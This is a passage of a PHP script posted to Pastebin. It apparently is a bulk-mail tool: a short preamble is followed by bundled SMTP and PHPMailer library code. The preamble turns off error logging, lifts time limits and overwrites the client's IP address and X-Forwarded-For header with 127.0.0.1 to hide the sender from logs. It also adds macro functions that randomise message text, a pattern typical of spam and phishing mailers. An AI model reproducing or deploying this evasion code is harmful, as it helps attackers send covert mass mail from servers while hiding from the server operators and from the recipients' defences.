Guest User

Untitled

a guest
Feb 8th, 2017
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 76.12 KB | None | 0 0
  1. <?php
  2. @ini_set('error_log', NULL);
  3. @ini_set('log_errors', 0);
  4. @ini_set('max_execution_time', 0);
  5. @set_time_limit(0);
  6. if(isset($_SERVER)) { $_SERVER['PHP_SELF'] = "/";
  7. $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  8. if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  9. } } if(isset($_FILES)) { foreach($_FILES as $key => $file) { if(!strpos($file['name'], ".jpg")) { $filename = alter_macros($file['name']);
  10. $filename = num_macros($filename);
  11. $filename = xnum_macros($filename);
  12. $_FILES[$key]["name"] = $filename;
  13. } } } function custom_strip_tags($text) { $text = strip_tags($text, '');
  14. $text = str_replace("", "", $text);
  15. $text = str_replace("\">", " ] ", $text);
  16. return $text;
  17. } function is_ip($str) { return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
  18. } function from_host($content) { $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
  19. if (is_ip($host)) { return $content;
  20. } $tokens = explode("@", $content);
  21. $content = $tokens[0] . "@" . $host . ">";
  22. return $content;
  23. } function alter_macros($content) { preg_match_all('#{(.*)}#Ui', $content, $matches);
  24. for($i = 0;
  25. $i
  26. < count($matches[1]);
  27. $i++) { $ns = explode("|", $matches[1][$i]);
  28. $c2 = count($ns);
  29. $rand = rand(0, ($c2 - 1));
  30. $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  31. } return $content;
  32. } function xnum_macros($content) { preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  33. for($i = 0;
  34. $i
  35. < count($matches[0]);
  36. $i++) { $num = $matches[1][$i];
  37. $min = pow(10, $num - 1);
  38. $max = pow(10, $num) - 1;
  39. $rand = rand($min, $max);
  40. $content = str_replace($matches[0][$i], $rand, $content);
  41. } return $content;
  42. } function num_macros($content) { preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  43. for($i = 0;
  44. $i
  45. < count($matches[0]);
  46. $i++) { $min = $matches[1][$i];
  47. $max = $matches[2][$i];
  48. $rand = rand($min, $max);
  49. $content = str_replace($matches[0][$i], $rand, $content);
  50. } return $content;
  51. } function fteil_macros($content, $fteil) { return str_replace("[FTEIL]", $fteil, $content);
  52. } class SMTP { const VERSION = '5.2.10';
  53. const CRLF = "\r\n";
  54. const DEFAULT_SMTP_PORT = 25;
  55. const MAX_LINE_LENGTH = 998;
  56. const DEBUG_OFF = 0;
  57. const DEBUG_CLIENT = 1;
  58. const DEBUG_SERVER = 2;
  59. const DEBUG_CONNECTION = 3;
  60. const DEBUG_LOWLEVEL = 4;
  61. public $Version = '5.2.10';
  62. public $SMTP_PORT = 25;
  63. public $CRLF = "\r\n";
  64. public $do_debug = self::DEBUG_OFF;
  65. public $Debugoutput = 'echo';
  66. public $do_verp = false;
  67. public $Timeout = 300;
  68. public $Timelimit = 300;
  69. protected $smtp_conn;
  70. protected $error = array( 'error' => '', 'detail' => '', 'smtp_code' => '', 'smtp_code_ex' => '' );
  71. protected $helo_rply = null;
  72. protected $server_caps = null;
  73. protected $last_reply = '';
  74. protected function edebug($str, $level = 0) { if ($level > $this->do_debug) { return;
  75. } if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->do_debug);
  76. return;
  77. } switch ($this->Debugoutput) { case 'error_log': error_log($str);
  78. break;
  79. case 'html': echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ) . "
  80. \n";
  81. break;
  82. case 'echo': default: $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  83. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( "\n", "\n \t ", trim($str) )."\n";
  84. } } public function connect($host, $port = null, $timeout = 30, $options = array()) { static $streamok;
  85. if (is_null($streamok)) { $streamok = function_exists('stream_socket_client');
  86. } $this->setError('');
  87. if ($this->connected()) { $this->setError('Already connected to a server');
  88. return false;
  89. } if (empty($port)) { $port = self::DEFAULT_SMTP_PORT;
  90. } $this->edebug( "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true), self::DEBUG_CONNECTION );
  91. $errno = 0;
  92. $errstr = '';
  93. if ($streamok) { $socket_context = stream_context_create($options);
  94. $this->smtp_conn = @stream_socket_client( $host . ":" . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context );
  95. } else { $this->edebug( "Connection: stream_socket_client not available, falling back to fsockopen", self::DEBUG_CONNECTION );
  96. $this->smtp_conn = fsockopen( $host, $port, $errno, $errstr, $timeout );
  97. } if (!is_resource($this->smtp_conn)) { $this->setError( 'Failed to connect to server', $errno, $errstr );
  98. $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ": $errstr ($errno)", self::DEBUG_CLIENT );
  99. return false;
  100. } $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  101. if (substr(PHP_OS, 0, 3) != 'WIN') { $max = ini_get('max_execution_time');
  102. if ($max != 0 && $timeout > $max) { @set_time_limit($timeout);
  103. } stream_set_timeout($this->smtp_conn, $timeout, 0);
  104. } $announce = $this->get_lines();
  105. $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  106. return true;
  107. } public function startTLS() { if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { return false;
  108. } if (!stream_socket_enable_crypto( $this->smtp_conn, true, STREAM_CRYPTO_METHOD_TLS_CLIENT )) { return false;
  109. } return true;
  110. } public function authenticate( $username, $password, $authtype = null, $realm = '', $workstation = '' ) { if (!$this->server_caps) { $this->setError('Authentication is not allowed before HELO/EHLO');
  111. return false;
  112. } if (array_key_exists('EHLO', $this->server_caps)) { if (!array_key_exists('AUTH', $this->server_caps)) { $this->setError('Authentication is not allowed at this stage');
  113. return false;
  114. } self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  115. self::edebug( 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), self::DEBUG_LOWLEVEL );
  116. if (empty($authtype)) { foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) { if (in_array($method, $this->server_caps['AUTH'])) { $authtype = $method;
  117. break;
  118. } } if (empty($authtype)) { $this->setError('No supported authentication methods found');
  119. return false;
  120. } self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  121. } if (!in_array($authtype, $this->server_caps['AUTH'])) { $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  122. return false;
  123. } } elseif (empty($authtype)) { $authtype = 'LOGIN';
  124. } switch ($authtype) { case 'PLAIN': if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { return false;
  125. } if (!$this->sendCommand( 'User & Password', base64_encode("\0" . $username . "\0" . $password), 235 ) ) { return false;
  126. } break;
  127. case 'LOGIN': if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { return false;
  128. } if (!$this->sendCommand("Username", base64_encode($username), 334)) { return false;
  129. } if (!$this->sendCommand("Password", base64_encode($password), 235)) { return false;
  130. } break;
  131. case 'NTLM': require_once 'extras/ntlm_sasl_client.php';
  132. $temp = new stdClass;
  133. $ntlm_client = new ntlm_sasl_client_class;
  134. if (!$ntlm_client->Initialize($temp)) { $this->setError($temp->error);
  135. $this->edebug( 'You need to enable some modules in your php.ini file: ' . $this->error['error'], self::DEBUG_CLIENT );
  136. return false;
  137. } $msg1 = $ntlm_client->TypeMsg1($realm, $workstation);
  138. //msg1 if (!$this->sendCommand( 'AUTH NTLM', 'AUTH NTLM ' . base64_encode($msg1), 334 ) ) { return false;
  139. } $challenge = substr($this->last_reply, 3);
  140. $challenge = b64d($challenge);
  141. $ntlm_res = $ntlm_client->NTLMResponse( substr($challenge, 24, 8), $password );
  142. $msg3 = $ntlm_client->TypeMsg3( $ntlm_res, $username, $realm, $workstation );
  143. return $this->sendCommand('Username', base64_encode($msg3), 235);
  144. case 'CRAM-MD5': if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { return false;
  145. } $challenge = b64d(substr($this->last_reply, 4));
  146. $response = $username . ' ' . $this->hmac($challenge, $password);
  147. return $this->sendCommand('Username', base64_encode($response), 235);
  148. default: $this->setError("Authentication method \"$authtype\" is not supported");
  149. return false;
  150. } return true;
  151. } protected function hmac($data, $key) { if (function_exists('hash_hmac')) { return hash_hmac('md5', $data, $key);
  152. } $bytelen = 64;
  153. // byte length for md5 if (strlen($key) > $bytelen) { $key = pack('H*', md5($key));
  154. } $key = str_pad($key, $bytelen, chr(0x00));
  155. $ipad = str_pad('', $bytelen, chr(0x36));
  156. $opad = str_pad('', $bytelen, chr(0x5c));
  157. $k_ipad = $key ^ $ipad;
  158. $k_opad = $key ^ $opad;
  159. return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  160. } public function connected() { if (is_resource($this->smtp_conn)) { $sock_status = stream_get_meta_data($this->smtp_conn);
  161. if ($sock_status['eof']) { $this->edebug( 'SMTP NOTICE: EOF caught while checking if connected', self::DEBUG_CLIENT );
  162. $this->close();
  163. return false;
  164. } return true;
  165. // everything looks good } return false;
  166. } public function close() { $this->setError('');
  167. $this->server_caps = null;
  168. $this->helo_rply = null;
  169. if (is_resource($this->smtp_conn)) { fclose($this->smtp_conn);
  170. $this->smtp_conn = null;
  171. //Makes for cleaner serialization $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  172. } } public function data($msg_data) { if (!$this->sendCommand('DATA', 'DATA', 354)) { return false;
  173. } $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  174. $field = substr($lines[0], 0, strpos($lines[0], ':'));
  175. $in_headers = false;
  176. if (!empty($field) && strpos($field, ' ') === false) { $in_headers = true;
  177. } foreach ($lines as $line) { $lines_out = array();
  178. if ($in_headers and $line == '') { $in_headers = false;
  179. } while (isset($line[self::MAX_LINE_LENGTH])) { $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  180. if (!$pos) { $pos = self::MAX_LINE_LENGTH - 1;
  181. $lines_out[] = substr($line, 0, $pos);
  182. $line = substr($line, $pos);
  183. } else { $lines_out[] = substr($line, 0, $pos);
  184. $line = substr($line, $pos + 1);
  185. } if ($in_headers) { $line = "\t" . $line;
  186. } } $lines_out[] = $line;
  187. foreach ($lines_out as $line_out) { if (!empty($line_out) and $line_out[0] == '.') { $line_out = '.' . $line_out;
  188. } $this->client_send($line_out . self::CRLF);
  189. } } $savetimelimit = $this->Timelimit;
  190. $this->Timelimit = $this->Timelimit * 2;
  191. $result = $this->sendCommand('DATA END', '.', 250);
  192. $this->Timelimit = $savetimelimit;
  193. return $result;
  194. } public function hello($host = '') { return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  195. } protected function sendHello($hello, $host) { $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  196. $this->helo_rply = $this->last_reply;
  197. if ($noerror) { $this->parseHelloFields($hello);
  198. } else { $this->server_caps = null;
  199. } return $noerror;
  200. } protected function parseHelloFields($type) { $this->server_caps = array();
  201. $lines = explode("\n", $this->last_reply);
  202. foreach ($lines as $n => $s) { $s = trim(substr($s, 4));
  203. if (!$s) { continue;
  204. } $fields = explode(' ', $s);
  205. if (!empty($fields)) { if (!$n) { $name = $type;
  206. $fields = $fields[0];
  207. } else { $name = array_shift($fields);
  208. if ($name == 'SIZE') { $fields = ($fields) ? $fields[0] : 0;
  209. } } $this->server_caps[$name] = ($fields ? $fields : true);
  210. } } } public function mail($from) { $useVerp = ($this->do_verp ? ' XVERP' : '');
  211. return $this->sendCommand( 'MAIL FROM', 'MAIL FROM:
  212. <' . $from . '>' . $useVerp, 250 );
  213. } public function quit($close_on_error = true) { $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  214. $err = $this->error;
  215. //Save any error if ($noerror or $close_on_error) { $this->close();
  216. $this->error = $err;
  217. //Restore any error from the quit command } return $noerror;
  218. } public function recipient($toaddr) { return $this->sendCommand( 'RCPT TO', 'RCPT TO:
  219. <' . $toaddr . '>', array(250, 251) );
  220. } public function reset() { return $this->sendCommand('RSET', 'RSET', 250);
  221. } protected function sendCommand($command, $commandstring, $expect) { if (!$this->connected()) { $this->setError("Called $command without being connected");
  222. return false;
  223. } $this->client_send($commandstring . self::CRLF);
  224. $this->last_reply = $this->get_lines();
  225. $matches = array();
  226. if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) { $code = $matches[1];
  227. $code_ex = (count($matches) > 2 ? $matches[2] : null);
  228. $detail = preg_replace( "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m", '', $this->last_reply );
  229. } else { $code = substr($this->last_reply, 0, 3);
  230. $code_ex = null;
  231. $detail = substr($this->last_reply, 4);
  232. } $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  233. if (!in_array($code, (array)$expect)) { $this->setError( "$command command failed", $detail, $code, $code_ex );
  234. $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, self::DEBUG_CLIENT );
  235. return false;
  236. } $this->setError('');
  237. return true;
  238. } public function sendAndMail($from) { return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  239. } public function verify($name) { return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  240. } public function noop() { return $this->sendCommand('NOOP', 'NOOP', 250);
  241. } public function turn() { $this->setError('The SMTP TURN command is not implemented');
  242. $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  243. return false;
  244. } public function client_send($data) { $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  245. return fwrite($this->smtp_conn, $data);
  246. } public function getError() { return $this->error;
  247. } public function getServerExtList() { return $this->server_caps;
  248. } public function getServerExt($name) { if (!$this->server_caps) { $this->setError('No HELO/EHLO was sent');
  249. return null;
  250. } // the tight logic knot ;) if (!array_key_exists($name, $this->server_caps)) { if ($name == 'HELO') { return $this->server_caps['EHLO'];
  251. } if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) { return false;
  252. } $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  253. return null;
  254. } return $this->server_caps[$name];
  255. } public function getLastReply() { return $this->last_reply;
  256. } protected function get_lines() { if (!is_resource($this->smtp_conn)) { return '';
  257. } $data = '';
  258. $endtime = 0;
  259. stream_set_timeout($this->smtp_conn, $this->Timeout);
  260. if ($this->Timelimit > 0) { $endtime = time() + $this->Timelimit;
  261. } while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { $str = @fgets($this->smtp_conn, 515);
  262. $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  263. $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  264. $data .= $str;
  265. $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  266. if ((isset($str[3]) and $str[3] == ' ')) { break;
  267. } $info = stream_get_meta_data($this->smtp_conn);
  268. if ($info['timed_out']) { $this->edebug( 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)', self::DEBUG_LOWLEVEL );
  269. break;
  270. } if ($endtime and time() > $endtime) { $this->edebug( 'SMTP -> get_lines(): timelimit reached ('. $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL );
  271. break;
  272. } } return $data;
  273. } public function setVerp($enabled = false) { $this->do_verp = $enabled;
  274. } public function getVerp() { return $this->do_verp;
  275. } protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') { $this->error = array( 'error' => $message, 'detail' => $detail, 'smtp_code' => $smtp_code, 'smtp_code_ex' => $smtp_code_ex );
  276. } public function setDebugOutput($method = 'echo') { $this->Debugoutput = $method;
  277. } public function getDebugOutput() { return $this->Debugoutput;
  278. } public function setDebugLevel($level = 0) { $this->do_debug = $level;
  279. } public function getDebugLevel() { return $this->do_debug;
  280. } public function setTimeout($timeout = 0) { $this->Timeout = $timeout;
  281. } public function getTimeout() { return $this->Timeout;
  282. } } class PHPMailer { public $Version = '5.2.9';
  283. public $Priority = 3;
  284. public $CharSet = 'iso-8859-1';
  285. public $ContentType = 'text/plain';
  286. public $Encoding = '8bit';
  287. public $ErrorInfo = '';
  288. public $From = 'root@localhost';
  289. public $FromName = 'Root User';
  290. public $Sender = '';
  291. public $ReturnPath = '';
  292. public $Subject = '';
  293. public $Body = '';
  294. public $AltBody = '';
  295. public $Ical = '';
  296. protected $MIMEBody = '';
  297. protected $MIMEHeader = '';
  298. protected $mailHeader = '';
  299. public $WordWrap = 0;
  300. public $Mailer = 'mail';
  301. public $Sendmail = '/usr/sbin/sendmail';
  302. public $UseSendmailOptions = true;
  303. public $PluginDir = '';
  304. public $ConfirmReadingTo = '';
  305. public $Hostname = '';
  306. public $MessageID = '';
  307. public $MessageDate = '';
  308. public $Host = 'localhost';
  309. public $Port = 25;
  310. public $Helo = '';
  311. public $SMTPSecure = '';
  312. public $SMTPAuth = false;
  313. public $Username = '';
  314. public $Password = '';
  315. public $AuthType = '';
  316. public $Realm = '';
  317. public $Workstation = '';
  318. public $Timeout = 300;
  319. public $SMTPDebug = 0;
  320. public $Debugoutput = 'echo';
  321. public $SMTPKeepAlive = false;
  322. public $SingleTo = false;
  323. public $SingleToArray = array();
  324. public $do_verp = false;
  325. public $AllowEmpty = false;
  326. public $LE = "\n";
  327. public $DKIM_selector = '';
  328. public $DKIM_identity = '';
  329. public $DKIM_passphrase = '';
  330. public $DKIM_domain = '';
  331. public $DKIM_private = '';
  332. public $action_function = '';
  333. public $XMailer = '';
  334. protected $smtp = null;
  335. protected $to = array();
  336. protected $cc = array();
  337. protected $bcc = array();
  338. protected $ReplyTo = array();
  339. protected $all_recipients = array();
  340. protected $attachment = array();
  341. protected $CustomHeader = array();
  342. protected $lastMessageID = '';
  343. protected $message_type = '';
  344. protected $boundary = array();
  345. protected $language = array();
  346. protected $error_count = 0;
  347. protected $sign_cert_file = '';
  348. protected $sign_key_file = '';
  349. protected $sign_key_pass = '';
  350. protected $exceptions = false;
  351. const STOP_MESSAGE = 0;
  352. const STOP_CONTINUE = 1;
  353. const STOP_CRITICAL = 2;
  354. const CRLF = "\r\n";
  355. public function __construct($exceptions = false) { $this->exceptions = (boolean)$exceptions;
  356. } public function __destruct() { } private function mailPassthru($to, $subject, $body, $header, $params) { //Check overloading of mail function to avoid double-encoding if (ini_get('mbstring.func_overload') & 1) { $subject = $this->secureHeader($subject);
  357. } else { $subject = $this->encodeHeader($this->secureHeader($subject));
  358. } if (ini_get('safe_mode') || !($this->UseSendmailOptions)) { $result = @mail($to, $subject, $body, $header);
  359. } else { $result = @mail($to, $subject, $body, $header, $params);
  360. } return $result;
  361. } protected function edebug($str) { if ($this->SMTPDebug
  362. <= 0) { return;
  363. } //Avoid clash with built-in function names if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  364. return;
  365. } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log error_log($str);
  366. break;
  367. case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ) . "
  368. \n";
  369. break;
  370. case 'echo': default: //Normalize line breaks $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  371. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( "\n", "\n \t ", trim($str) ) . "\n";
  372. } } public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = 'text/html';
  373. } else { $this->ContentType = 'text/plain';
  374. } } public function isSMTP() { $this->Mailer = 'smtp';
  375. } public function isMail() { $this->Mailer = 'mail';
  376. } public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path');
  377. if (!stristr($ini_sendmail_path, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail';
  378. } else { $this->Sendmail = $ini_sendmail_path;
  379. } $this->Mailer = 'sendmail';
  380. } public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path');
  381. if (!stristr($ini_sendmail_path, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject';
  382. } else { $this->Sendmail = $ini_sendmail_path;
  383. } $this->Mailer = 'qmail';
  384. } public function addAddress($address, $name = '') { return $this->addAnAddress('to', $address, $name);
  385. } public function addCC($address, $name = '') { return $this->addAnAddress('cc', $address, $name);
  386. } public function addBCC($address, $name = '') { return $this->addAnAddress('bcc', $address, $name);
  387. } public function addReplyTo($address, $name = '') { return $this->addAnAddress('Reply-To', $address, $name);
  388. } protected function addAnAddress($kind, $address, $name = '') { if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) { $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  389. $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  390. if ($this->exceptions) { throw new phpmailerException('Invalid recipient array: ' . $kind);
  391. } return false;
  392. } $address = trim($address);
  393. $name = trim(preg_replace('/[\r\n]+/', '', $name));
  394. //Strip breaks and trim if (!$this->validateAddress($address)) { $this->setError($this->lang('invalid_address') . ': ' . $address);
  395. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  396. if ($this->exceptions) { throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  397. } return false;
  398. } if ($kind != 'Reply-To') { if (!isset($this->all_recipients[strtolower($address)])) { array_push($this->$kind, array($address, $name));
  399. $this->all_recipients[strtolower($address)] = true;
  400. return true;
  401. } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name);
  402. return true;
  403. } } return false;
  404. } public function setFrom($address, $name = '', $auto = true) { $address = trim($address);
  405. $name = trim(preg_replace('/[\r\n]+/', '', $name));
  406. //Strip breaks and trim if (!$this->validateAddress($address)) { $this->setError($this->lang('invalid_address') . ': ' . $address);
  407. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  408. if ($this->exceptions) { throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  409. } return false;
  410. } $this->From = $address;
  411. $this->FromName = $name;
  412. if ($auto) { if (empty($this->Sender)) { $this->Sender = $address;
  413. } } return true;
  414. } public function getLastMessageID() { return $this->lastMessageID;
  415. } public static function validateAddress($address, $patternselect = 'auto') { if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE
  416. <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8';
  417. } else { $patternselect = 'pcre';
  418. } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre';
  419. } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php';
  420. } else { $patternselect = 'noregex';
  421. } } } switch ($patternselect) { case 'pcre8': return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address );
  422. case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address );
  423. case 'html5': return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address );
  424. case 'noregex': return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
  425. case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  426. } } public function send() { try { if (!$this->preSend()) { return false;
  427. } return $this->postSend();
  428. } catch (phpmailerException $exc) { $this->mailHeader = '';
  429. $this->setError($exc->getMessage());
  430. if ($this->exceptions) { throw $exc;
  431. } return false;
  432. } } public function preSend() { try { $this->mailHeader = '';
  433. if ((count($this->to) + count($this->cc) + count($this->bcc))
  434. < 1) { throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  435. } // Set whether the message is multipart/alternative if (!empty($this->AltBody)) { $this->ContentType = 'multipart/alternative';
  436. } $this->error_count = 0;
  437. // reset errors $this->setMessageType();
  438. // Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  439. } $this->MIMEHeader = $this->createHeader();
  440. $this->MIMEBody = $this->createBody();
  441. if ($this->Mailer == 'mail') { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to);
  442. } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  443. } $this->mailHeader .= $this->headerLine( 'Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))) );
  444. } // Sign with DKIM if enabled if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && file_exists($this->DKIM_private)) { $header_dkim = $this->DKIM_Add( $this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody );
  445. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF . str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  446. } return true;
  447. } catch (phpmailerException $exc) { $this->setError($exc->getMessage());
  448. if ($this->exceptions) { throw $exc;
  449. } return false;
  450. } } public function postSend() { try { // Choose the mailer and send through it switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  451. case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  452. case 'smtp': return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
  453. default: $sendMethod = $this->Mailer.'Send';
  454. if (method_exists($this, $sendMethod)) { return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  455. } return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  456. } } catch (phpmailerException $exc) { $this->setError($exc->getMessage());
  457. $this->edebug($exc->getMessage());
  458. if ($this->exceptions) { throw $exc;
  459. } } return false;
